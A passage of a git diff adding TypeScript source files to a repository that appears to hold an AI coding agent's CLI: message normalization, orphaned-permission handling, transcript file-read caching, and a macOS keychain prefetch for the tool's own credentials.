dGRlcnI+YCxcbiAgICAgICAgfSksXG4gICAgICBdLFxuICAgICAgc2hvdWxkUXVlcnk6IGZhbHNlLFxuICAgIH1cbiAgfSBmaW5hbGx5IHtcbiAgICBzZXRUb29sSlNYKG51bGwpXG4gIH1cbn1cbiJdLCJtYXBwaW5ncyI6IkFBQUEsY0FBY0EsaUJBQWlCLFFBQVEsNkJBQTZCO0FBQ3BFLFNBQVNDLFVBQVUsUUFBUSxRQUFRO0FBQ25DLE9BQU8sS0FBS0MsS0FBSyxNQUFNLE9BQU87QUFDOUIsU0FBU0MsZ0JBQWdCLFFBQVEsb0NBQW9DO0FBQ3JFLGNBQWNDLFlBQVksUUFBUSxhQUFhO0FBQy9DLFNBQVNDLFFBQVEsUUFBUSxnQ0FBZ0M7QUFDekQsY0FDRUMsaUJBQWlCLEVBQ2pCQyxhQUFhLEVBQ2JDLFdBQVcsUUFDTixzQkFBc0I7QUFDN0IsY0FBY0MsYUFBYSxRQUFRLG9CQUFvQjtBQUN2RCxTQUFTQyxRQUFRLFFBQVEsbUNBQW1DO0FBQzVELFNBQVNDLFlBQVksRUFBRUMsVUFBVSxRQUFRLGNBQWM7QUFDdkQsU0FDRUMsZ0NBQWdDLEVBQ2hDQyw2QkFBNkIsRUFDN0JDLGlCQUFpQixFQUNqQkMsa0JBQWtCLFFBQ2IsZ0JBQWdCO0FBQ3ZCLFNBQVNDLG1CQUFtQixRQUFRLGlDQUFpQztBQUNyRSxTQUFTQyx1QkFBdUIsUUFBUSw0QkFBNEI7QUFDcEUsU0FBU0Msc0JBQXNCLFFBQVEseUJBQXlCO0FBQ2hFLFNBQVNDLFNBQVMsUUFBUSxXQUFXO0FBQ3JDLGNBQWNDLHVCQUF1QixRQUFRLHVCQUF1QjtBQUVwRSxPQUFPLGVBQWVDLGtCQUFrQkEsQ0FDdENDLFdBQVcsRUFBRSxNQUFNLEVBQ25CQyxvQkFBb0IsRUFBRXhCLGlCQUFpQixFQUFFLEVBQ3pDeUIsa0JBQWtCLEVBQUVuQixpQkFBaUIsRUFBRSxFQUN2Q29CLE9BQU8sRUFBRUwsdUJBQXVCLEVBQ2hDTSxVQUFVLEVBQUV2QixZQUFZLENBQ3pCLEVBQUV3QixPQUFPLENBQUM7RUFDVEMsUUFBUSxFQUFFLENBQUNyQixXQUFXLEdBQUdGLGlC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
\ No newline at end of file
diff --git a/_all-in-one-upload/cc-haha/src/utils/queryHelpers.ts b/_all-in-one-upload/cc-haha/src/utils/queryHelpers.ts
new file mode 100644
index 0000000..a3661ba
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/utils/queryHelpers.ts
@@ -0,0 +1,552 @@
+import type { ToolUseBlock } from '@anthropic-ai/sdk/resources/index.mjs'
+import last from 'lodash-es/last.js'
+import {
+  getSessionId,
+  isSessionPersistenceDisabled,
+} from 'src/bootstrap/state.js'
+import type { SDKMessage } from 'src/entrypoints/agentSdkTypes.js'
+import type { CanUseToolFn } from '../hooks/useCanUseTool.js'
+import { runTools } from '../services/tools/toolOrchestration.js'
+import { findToolByName, type Tool, type Tools } from '../Tool.js'
+import { BASH_TOOL_NAME } from '../tools/BashTool/toolName.js'
+import { FILE_EDIT_TOOL_NAME } from '../tools/FileEditTool/constants.js'
+import type { Input as FileReadInput } from '../tools/FileReadTool/FileReadTool.js'
+import {
+  FILE_READ_TOOL_NAME,
+  FILE_UNCHANGED_STUB,
+} from '../tools/FileReadTool/prompt.js'
+import { FILE_WRITE_TOOL_NAME } from '../tools/FileWriteTool/prompt.js'
+import type { Message } from '../types/message.js'
+import type { OrphanedPermission } from '../types/textInputTypes.js'
+import { logForDebugging } from './debug.js'
+import { isEnvTruthy } from './envUtils.js'
+import { isFsInaccessible } from './errors.js'
+import { getFileModificationTime, stripLineNumberPrefix } from './file.js'
+import { readFileSyncWithMetadata } from './fileRead.js'
+import {
+  createFileStateCacheWithSizeLimit,
+  type FileStateCache,
+} from './fileStateCache.js'
+import { isNotEmptyMessage, normalizeMessages } from './messages.js'
+import { expandPath } from './path.js'
+import type {
+  inputSchema as permissionToolInputSchema,
+  outputSchema as permissionToolOutputSchema,
+} from './permissions/PermissionPromptToolResultSchema.js'
+import type { ProcessUserInputContext } from './processUserInput/processUserInput.js'
+import { recordTranscript } from './sessionStorage.js'
+
+export type PermissionPromptTool = Tool<
+  ReturnType<typeof permissionToolInputSchema>,
+  ReturnType<typeof permissionToolOutputSchema>
+>
+
+// Small cache size for ask operations which typically access few files
+// during permission prompts or limited tool operations
+const ASK_READ_FILE_STATE_CACHE_SIZE = 10
+
+/**
+ * Checks if the result should be considered successful based on the last message.
+ * Returns true if:
+ * - Last message is assistant with text/thinking content
+ * - Last message is user with only tool_result blocks
+ * - Last message is the user prompt but the API completed with end_turn
+ *   (model chose to emit no content blocks)
+ */
+export function isResultSuccessful(
+  message: Message | undefined,
+  stopReason: string | null = null,
+): message is Message {
+  if (!message) return false
+
+  if (message.type === 'assistant') {
+    const lastContent = last(message.message.content)
+    return (
+      lastContent?.type === 'text' ||
+      lastContent?.type === 'thinking' ||
+      lastContent?.type === 'redacted_thinking'
+    )
+  }
+
+  if (message.type === 'user') {
+    // Check if all content blocks are tool_result type
+    const content = message.message.content
+    if (
+      Array.isArray(content) &&
+      content.length > 0 &&
+      content.every(block => 'type' in block && block.type === 'tool_result')
+    ) {
+      return true
+    }
+  }
+
+  // Carve-out: API completed (message_delta set stop_reason) but yielded
+  // no assistant content — last(messages) is still this turn's prompt.
+  // claude.ts:2026 recognizes end_turn-with-zero-content-blocks as
+  // legitimate and passes through without throwing. Observed on
+  // task_notification drain turns: model returns stop_reason=end_turn,
+  // outputTokens=4, textContentLength=0 — it saw the subagent result
+  // and decided nothing needed saying. Without this, QueryEngine emits
+  // error_during_execution with errors[] = the entire process's
+  // accumulated logError() buffer. Covers both string-content and
+  // text-block-content user prompts, and any other non-passing shape.
+  return stopReason === 'end_turn'
+}
+
+// Track last sent time for tool progress messages per tool use ID
+// Keep only the last 100 entries to prevent unbounded growth
+const MAX_TOOL_PROGRESS_TRACKING_ENTRIES = 100
+const TOOL_PROGRESS_THROTTLE_MS = 30000
+const toolProgressLastSentTime = new Map<string, number>()
+
+export function* normalizeMessage(message: Message): Generator<SDKMessage> {
+  switch (message.type) {
+    case 'assistant':
+      for (const _ of normalizeMessages([message])) {
+        // Skip empty messages (e.g., "(no content)") that shouldn't be output to SDK
+        if (!isNotEmptyMessage(_)) {
+          continue
+        }
+        yield {
+          type: 'assistant',
+          message: _.message,
+          parent_tool_use_id: null,
+          session_id: getSessionId(),
+          uuid: _.uuid,
+          error: _.error,
+        }
+      }
+      return
+    case 'progress':
+      if (
+        message.data.type === 'agent_progress' ||
+        message.data.type === 'skill_progress'
+      ) {
+        for (const _ of normalizeMessages([message.data.message])) {
+          switch (_.type) {
+            case 'assistant':
+              // Skip empty messages (e.g., "(no content)") that shouldn't be output to SDK
+              if (!isNotEmptyMessage(_)) {
+                break
+              }
+              yield {
+                type: 'assistant',
+                message: _.message,
+                parent_tool_use_id: message.parentToolUseID,
+                session_id: getSessionId(),
+                uuid: _.uuid,
+                error: _.error,
+              }
+              break
+            case 'user':
+              yield {
+                type: 'user',
+                message: _.message,
+                parent_tool_use_id: message.parentToolUseID,
+                session_id: getSessionId(),
+                uuid: _.uuid,
+                timestamp: _.timestamp,
+                isSynthetic: _.isMeta || _.isVisibleInTranscriptOnly,
+                tool_use_result: _.mcpMeta
+                  ? { content: _.toolUseResult, ..._.mcpMeta }
+                  : _.toolUseResult,
+              }
+              break
+          }
+        }
+      } else if (
+        message.data.type === 'bash_progress' ||
+        message.data.type === 'powershell_progress'
+      ) {
+        // Filter bash progress to send only one per minute
+        // Only emit for Claude Code Remote for now
+        if (
+          !isEnvTruthy(process.env.CLAUDE_CODE_REMOTE) &&
+          !process.env.CLAUDE_CODE_CONTAINER_ID
+        ) {
+          break
+        }
+
+        // Use parentToolUseID as the key since toolUseID changes for each progress message
+        const trackingKey = message.parentToolUseID
+        const now = Date.now()
+        const lastSent = toolProgressLastSentTime.get(trackingKey) || 0
+        const timeSinceLastSent = now - lastSent
+
+        // Send if at least 30 seconds have passed since last update
+        if (timeSinceLastSent >= TOOL_PROGRESS_THROTTLE_MS) {
+          // Remove oldest entry if we're at capacity (LRU eviction)
+          if (
+            toolProgressLastSentTime.size >= MAX_TOOL_PROGRESS_TRACKING_ENTRIES
+          ) {
+            const firstKey = toolProgressLastSentTime.keys().next().value
+            if (firstKey !== undefined) {
+              toolProgressLastSentTime.delete(firstKey)
+            }
+          }
+
+          toolProgressLastSentTime.set(trackingKey, now)
+          yield {
+            type: 'tool_progress',
+            tool_use_id: message.toolUseID,
+            tool_name:
+              message.data.type === 'bash_progress' ? 'Bash' : 'PowerShell',
+            parent_tool_use_id: message.parentToolUseID,
+            elapsed_time_seconds: message.data.elapsedTimeSeconds,
+            task_id: message.data.taskId,
+            session_id: getSessionId(),
+            uuid: message.uuid,
+          }
+        }
+      }
+      break
+    case 'user':
+      for (const _ of normalizeMessages([message])) {
+        yield {
+          type: 'user',
+          message: _.message,
+          parent_tool_use_id: null,
+          session_id: getSessionId(),
+          uuid: _.uuid,
+          timestamp: _.timestamp,
+          isSynthetic: _.isMeta || _.isVisibleInTranscriptOnly,
+          tool_use_result: _.mcpMeta
+            ? { content: _.toolUseResult, ..._.mcpMeta }
+            : _.toolUseResult,
+        }
+      }
+      return
+    default:
+    // yield nothing
+  }
+}
+
+export async function* handleOrphanedPermission(
+  orphanedPermission: OrphanedPermission,
+  tools: Tools,
+  mutableMessages: Message[],
+  processUserInputContext: ProcessUserInputContext,
+): AsyncGenerator<SDKMessage, void, unknown> {
+  const persistSession = !isSessionPersistenceDisabled()
+  const { permissionResult, assistantMessage } = orphanedPermission
+  const { toolUseID } = permissionResult
+
+  if (!toolUseID) {
+    return
+  }
+
+  const content = assistantMessage.message.content
+  let toolUseBlock: ToolUseBlock | undefined
+  if (Array.isArray(content)) {
+    for (const block of content) {
+      if (block.type === 'tool_use' && block.id === toolUseID) {
+        toolUseBlock = block as ToolUseBlock
+        break
+      }
+    }
+  }
+
+  if (!toolUseBlock) {
+    return
+  }
+
+  const toolName = toolUseBlock.name
+  const toolInput = toolUseBlock.input
+
+  const toolDefinition = findToolByName(tools, toolName)
+  if (!toolDefinition) {
+    return
+  }
+
+  // Create ToolUseBlock with the updated input if permission was allowed
+  let finalInput = toolInput
+  if (permissionResult.behavior === 'allow') {
+    if (permissionResult.updatedInput !== undefined) {
+      finalInput = permissionResult.updatedInput
+    } else {
+      logForDebugging(
+        `Orphaned permission for ${toolName}: updatedInput is undefined, falling back to original tool input`,
+        { level: 'warn' },
+      )
+    }
+  }
+  const finalToolUseBlock: ToolUseBlock = {
+    ...toolUseBlock,
+    input: finalInput,
+  }
+
+  const canUseTool: CanUseToolFn = async () => ({
+    ...permissionResult,
+    decisionReason: {
+      type: 'mode',
+      mode: 'default' as const,
+    },
+  })
+
+  // Add the assistant message with tool_use to messages BEFORE executing
+  // so the conversation history is complete (tool_use -> tool_result).
+  //
+  // On CCR resume, mutableMessages is seeded from the transcript and may already
+  // contain this tool_use. Pushing again would make normalizeMessagesForAPI merge
+  // same-ID assistants (concatenating content) and produce a duplicate tool_use
+  // ID, which the API rejects with "tool_use ids must be unique".
+  //
+  // Check for the specific tool_use_id rather than message.id: streaming yields
+  // each content block as a separate AssistantMessage sharing one message.id, so
+  // a [text, tool_use] response lands as two entries. filterUnresolvedToolUses may
+  // strip the tool_use entry but keep the text one; an id-based check would then
+  // wrongly skip the push while runTools below still executes, orphaning the result.
+  const alreadyPresent = mutableMessages.some(
+    m =>
+      m.type === 'assistant' &&
+      Array.isArray(m.message.content) &&
+      m.message.content.some(
+        b => b.type === 'tool_use' && 'id' in b && b.id === toolUseID,
+      ),
+  )
+  if (!alreadyPresent) {
+    mutableMessages.push(assistantMessage)
+    if (persistSession) {
+      await recordTranscript(mutableMessages)
+    }
+  }
+
+  const sdkAssistantMessage: SDKMessage = {
+    ...assistantMessage,
+    session_id: getSessionId(),
+    parent_tool_use_id: null,
+  } as SDKMessage
+  yield sdkAssistantMessage
+
+  // Execute the tool - errors are handled internally by runToolUse
+  for await (const update of runTools(
+    [finalToolUseBlock],
+    [assistantMessage],
+    canUseTool,
+    processUserInputContext,
+  )) {
+    if (update.message) {
+      mutableMessages.push(update.message)
+      if (persistSession) {
+        await recordTranscript(mutableMessages)
+      }
+
+      const sdkMessage: SDKMessage = {
+        ...update.message,
+        session_id: getSessionId(),
+        parent_tool_use_id: null,
+      } as SDKMessage
+
+      yield sdkMessage
+    }
+  }
+}
+
+// Create a function to extract read files from messages
+export function extractReadFilesFromMessages(
+  messages: Message[],
+  cwd: string,
+  maxSize: number = ASK_READ_FILE_STATE_CACHE_SIZE,
+): FileStateCache {
+  const cache = createFileStateCacheWithSizeLimit(maxSize)
+
+  // First pass: find all FileReadTool/FileWriteTool/FileEditTool uses in assistant messages
+  const fileReadToolUseIds = new Map<string, string>() // toolUseId -> filePath
+  const fileWriteToolUseIds = new Map<
+    string,
+    { filePath: string; content: string }
+  >() // toolUseId -> { filePath, content }
+  const fileEditToolUseIds = new Map<string, string>() // toolUseId -> filePath
+
+  for (const message of messages) {
+    if (
+      message.type === 'assistant' &&
+      Array.isArray(message.message.content)
+    ) {
+      for (const content of message.message.content) {
+        if (
+          content.type === 'tool_use' &&
+          content.name === FILE_READ_TOOL_NAME
+        ) {
+          // Extract file_path from the tool use input
+          const input = content.input as FileReadInput | undefined
+          // Ranged reads are not added to the cache.
+          if (
+            input?.file_path &&
+            input?.offset === undefined &&
+            input?.limit === undefined
+          ) {
+            // Normalize to absolute path for consistent cache lookups
+            const absolutePath = expandPath(input.file_path, cwd)
+            fileReadToolUseIds.set(content.id, absolutePath)
+          }
+        } else if (
+          content.type === 'tool_use' &&
+          content.name === FILE_WRITE_TOOL_NAME
+        ) {
+          // Extract file_path and content from the Write tool use input
+          const input = content.input as
+            | { file_path?: string; content?: string }
+            | undefined
+          if (input?.file_path && input?.content) {
+            // Normalize to absolute path for consistent cache lookups
+            const absolutePath = expandPath(input.file_path, cwd)
+            fileWriteToolUseIds.set(content.id, {
+              filePath: absolutePath,
+              content: input.content,
+            })
+          }
+        } else if (
+          content.type === 'tool_use' &&
+          content.name === FILE_EDIT_TOOL_NAME
+        ) {
+          // Edit's input has old_string/new_string, not the resulting content.
+          // Track the path so the second pass can read current disk state.
+          const input = content.input as { file_path?: string } | undefined
+          if (input?.file_path) {
+            const absolutePath = expandPath(input.file_path, cwd)
+            fileEditToolUseIds.set(content.id, absolutePath)
+          }
+        }
+      }
+    }
+  }
+
+  // Second pass: find corresponding tool results and extract content
+  for (const message of messages) {
+    if (message.type === 'user' && Array.isArray(message.message.content)) {
+      for (const content of message.message.content) {
+        if (content.type === 'tool_result' && content.tool_use_id) {
+          // Handle Read tool results
+          const readFilePath = fileReadToolUseIds.get(content.tool_use_id)
+          if (
+            readFilePath &&
+            typeof content.content === 'string' &&
+            // Dedup stubs contain no file content — the earlier real Read
+            // already cached it. Chronological last-wins would otherwise
+            // overwrite the real entry with stub text.
+            !content.content.startsWith(FILE_UNCHANGED_STUB)
+          ) {
+            // Remove system-reminder blocks from the content
+            const processedContent = content.content.replace(
+              /<system-reminder>[\s\S]*?<\/system-reminder>/g,
+              '',
+            )
+
+            // Extract the actual file content from the tool result
+            // Tool results for text files contain line numbers, we need to strip those
+            const fileContent = processedContent
+              .split('\n')
+              .map(stripLineNumberPrefix)
+              .join('\n')
+              .trim()
+
+            // Cache the file content with the message timestamp
+            if (message.timestamp) {
+              const timestamp = new Date(message.timestamp).getTime()
+              cache.set(readFilePath, {
+                content: fileContent,
+                timestamp,
+                offset: undefined,
+                limit: undefined,
+              })
+            }
+          }
+
+          // Handle Write tool results - use content from the tool input
+          const writeToolData = fileWriteToolUseIds.get(content.tool_use_id)
+          if (writeToolData && message.timestamp) {
+            const timestamp = new Date(message.timestamp).getTime()
+            cache.set(writeToolData.filePath, {
+              content: writeToolData.content,
+              timestamp,
+              offset: undefined,
+              limit: undefined,
+            })
+          }
+
+          // Handle Edit tool results — post-edit content isn't in the
+          // tool_use input (only old_string/new_string) nor fully in the
+          // result (only a snippet). Read from disk now, using actual mtime
+          // so getChangedFiles's mtime check passes on the next turn.
+          //
+          // Callers seed the cache once at process start (print.ts --resume,
+          // Cowork cold-restart per turn), so disk content at extraction time
+          // IS the post-edit state. No dedup: processing every Edit preserves
+          // last-wins semantics when Read/Write interleave (Edit→Read→Edit).
+          const editFilePath = fileEditToolUseIds.get(content.tool_use_id)
+          if (editFilePath && content.is_error !== true) {
+            try {
+              const { content: diskContent } =
+                readFileSyncWithMetadata(editFilePath)
+              cache.set(editFilePath, {
+                content: diskContent,
+                timestamp: getFileModificationTime(editFilePath),
+                offset: undefined,
+                limit: undefined,
+              })
+            } catch (e: unknown) {
+              if (!isFsInaccessible(e)) {
+                throw e
+              }
+              // File deleted or inaccessible since the Edit — skip
+            }
+          }
+        }
+      }
+    }
+  }
+
+  return cache
+}
+
+/**
+ * Extract the top-level CLI tools used in BashTool calls from message history.
+ * Returns a deduplicated set of command names (e.g. 'vercel', 'aws', 'git').
+ */
+export function extractBashToolsFromMessages(messages: Message[]): Set<string> {
+  const tools = new Set<string>()
+  for (const message of messages) {
+    if (
+      message.type === 'assistant' &&
+      Array.isArray(message.message.content)
+    ) {
+      for (const content of message.message.content) {
+        if (content.type === 'tool_use' && content.name === BASH_TOOL_NAME) {
+          const { input } = content
+          if (
+            typeof input !== 'object' ||
+            input === null ||
+            !('command' in input)
+          )
+            continue
+          const cmd = extractCliName(
+            typeof input.command === 'string' ? input.command : undefined,
+          )
+          if (cmd) {
+            tools.add(cmd)
+          }
+        }
+      }
+    }
+  }
+  return tools
+}
+
+const STRIPPED_COMMANDS = new Set(['sudo'])
+
+/**
+ * Extract the actual CLI name from a bash command string, skipping
+ * env var assignments (e.g. `FOO=bar vercel` → `vercel`) and prefixes
+ * in STRIPPED_COMMANDS.
+ */
+function extractCliName(command: string | undefined): string | undefined {
+  if (!command) return undefined
+  const tokens = command.trim().split(/\s+/)
+  for (const token of tokens) {
+    if (/^[A-Za-z_]\w*=/.test(token)) continue
+    if (STRIPPED_COMMANDS.has(token)) continue
+    return token
+  }
+  return undefined
+}
diff --git a/_all-in-one-upload/cc-haha/src/utils/secureStorage/keychainPrefetch.ts b/_all-in-one-upload/cc-haha/src/utils/secureStorage/keychainPrefetch.ts
new file mode 100644
index 0000000..061c2b1
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/utils/secureStorage/keychainPrefetch.ts
@@ -0,0 +1,116 @@
+/**
+ * Minimal module for firing macOS keychain reads in parallel with main.tsx
+ * module evaluation, same pattern as startMdmRawRead() in settings/mdm/rawRead.ts.
+ *
+ * isRemoteManagedSettingsEligible() reads two separate keychain entries
+ * SEQUENTIALLY via sync execSync during applySafeConfigEnvironmentVariables():
+ *   1. "Claude Code-credentials" (OAuth tokens)  — ~32ms
+ *   2. "Claude Code" (legacy API key)            — ~33ms
+ * Sequential cost: ~65ms on every macOS startup.
+ *
+ * Firing both here lets the subprocesses run in parallel with the ~65ms of
+ * main.tsx imports. ensureKeychainPrefetchCompleted() is awaited alongside
+ * ensureMdmSettingsLoaded() in main.tsx preAction — nearly free since the
+ * subprocesses finish during import evaluation. Sync read() and
+ * getApiKeyFromConfigOrMacOSKeychain() then hit their caches.
+ *
+ * Imports stay minimal: child_process + macOsKeychainHelpers.ts (NOT
+ * macOsKeychainStorage.ts — that pulls in execa → human-signals →
+ * cross-spawn, ~58ms of synchronous module init). The helpers file's own
+ * import chain (envUtils, oauth constants, crypto) is already evaluated by
+ * startupProfiler.ts at main.tsx:5, so no new module-init cost lands here.
+ */
+
+import { execFile } from 'child_process'
+import { isBareMode } from '../envUtils.js'
+import {
+  CREDENTIALS_SERVICE_SUFFIX,
+  getMacOsKeychainStorageServiceName,
+  getUsername,
+  primeKeychainCacheFromPrefetch,
+} from './macOsKeychainHelpers.js'
+
+const KEYCHAIN_PREFETCH_TIMEOUT_MS = 10_000
+
+// Shared with auth.ts getApiKeyFromConfigOrMacOSKeychain() so it can skip its
+// sync spawn when the prefetch already landed. Distinguishing "not started" (null)
+// from "completed with no key" ({ stdout: null }) lets the sync reader only
+// trust a completed prefetch.
+let legacyApiKeyPrefetch: { stdout: string | null } | null = null
+
+let prefetchPromise: Promise<void> | null = null
+
+type SpawnResult = { stdout: string | null; timedOut: boolean }
+
+function spawnSecurity(serviceName: string): Promise<SpawnResult> {
+  return new Promise(resolve => {
+    execFile(
+      'security',
+      ['find-generic-password', '-a', getUsername(), '-w', '-s', serviceName],
+      { encoding: 'utf-8', timeout: KEYCHAIN_PREFETCH_TIMEOUT_MS },
+      (err, stdout) => {
+        // Exit 44 (entry not found) is a valid "no key" result and safe to
+        // prime as null. But timeout (err.killed) means the keychain MAY have
+        // a key we couldn't fetch — don't prime, let sync spawn retry.
+        // biome-ignore lint/nursery/noFloatingPromises: resolve() is not a floating promise
+        resolve({
+          stdout: err ? null : stdout?.trim() || null,
+          timedOut: Boolean(err && 'killed' in err && err.killed),
+        })
+      },
+    )
+  })
+}
+
+/**
+ * Fire both keychain reads in parallel. Called at main.tsx top-level
+ * immediately after startMdmRawRead(). Non-darwin is a no-op.
+ */
+export function startKeychainPrefetch(): void {
